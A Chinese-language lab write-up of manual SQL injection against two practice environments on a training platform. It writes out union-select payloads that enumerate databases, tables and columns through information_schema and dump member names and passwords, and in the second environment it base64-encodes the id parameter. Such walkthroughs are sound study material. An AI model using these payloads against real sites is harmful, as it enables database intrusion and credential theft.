仅供学习使用,请勿用于其他用途。
最近做了一些漏洞复现,突然感觉继续提高真的很难,恍惚间就决定回首复习下基础。这两天做了两个SQL注入复习了下,自己整理的wp一起放出来了,基础不扎实的可以一起复习遍,巩固下。其实简单的SQL注入原理都大同小异,就那么些命令、那么些点,一直觉得学校教的复杂了。思路其实主要就是判断注入-字段数-字段位置-数据库名-表名-列名-值。环境是某实验平台的,这里不说了。这次的例子主要是常见的两种手工注入姿势,当然是没有waf等产品拦截的。下面内容中实验平台的网站敏感信息基本都打码了。
【环境一】
最简单的注入判断方法 加单引号 成功报错
上面可得 and 1=1正常回显 and 1=2报错
接下来 order by 判断
到5就报错了 所以只有4个字段!
接下来用union select 判断下字段在页面中的位置 如下图所示
其实能回显数据的地方只有两个
接下来我们看看数据库
补充下知识点 limit X,Y ——从X行起去Y行数据 输入and 1=2是让他报错 其次为了更好的理解数据库结构建议本地搭个phpmyadmin看看
and 1=2 union select1,SCHEMA_NAME,3,4 from information_schema.SCHEMATA limit 0,1
and1=2 union select 1,2,SCHEMA_NAME,4from information_schema.SCHEMATA limit 1,1
and1=2 union select 1,2,SCHEMA_NAME,4from information_schema.SCHEMATA limit 2,1
and1=2 union select 1,2,SCHEMA_NAME,4from information_schema.SCHEMATA limit 3,1
and 1=2 union select1,2,SCHEMA_NAME,4 from information_schema.SCHEMATA limit 4,1
到limit 5,1就返回空白了 说明只有上面的个数据库! 5个数据库!
接下来获取数据表
and 1=2 union select1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1
and 1=2 union select1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 1,1
and1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 2,1 终于报错了(不用再手工试了)说明只有两张表!
接下来获取列
and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit0,1
and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit1,1
and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit2,1
and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit3,1
and1=2 union select 1,COLUMN_NAME,3,4 from information_schema.COLUMNS whereTABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit4,1 终于报错 只有三列!
接下来猜解字段 直接四个字段出了
and 1=2 union select 1,CONCAT(id,'-',name,'-',password,'-',status),3,4 frommozhe_Discuz_StormGroup.StormGroup_member limit 0,1
and 1=2 union select 1,CONCAT(id,'-',name,'-',password,'-',status),3,4 frommozhe_Discuz_StormGroup.StormGroup_member limit 1,1
【环境二】
原理不再细说 第一篇wp动手实验遍基本都会了 这个环境与第一个是不同的 我们开始吧:
这个环境id不再是数字明文了 而是base64加密后的密文
传参都需要base64加密 下面的截图传参 都是经过base64加密了的 明文我直接写出来了
首先加个单引号 其实提交id=1'
id=1 and 1=1
id=1 and 1=2
对了!建议使用火狐浏览器的hackbar 真的省事 自带base64加解密 不用切来切去加密了!
出现报错 说明只有两个字段
当然还有其他的报错办法比如说提交id=-1
同样是可以获得相同的结果的!
成功获取所有列名!
同样是可以获取的!比较麻烦 步骤繁琐 不再演示!
领取专属 10元无门槛券
私享最新 技术干货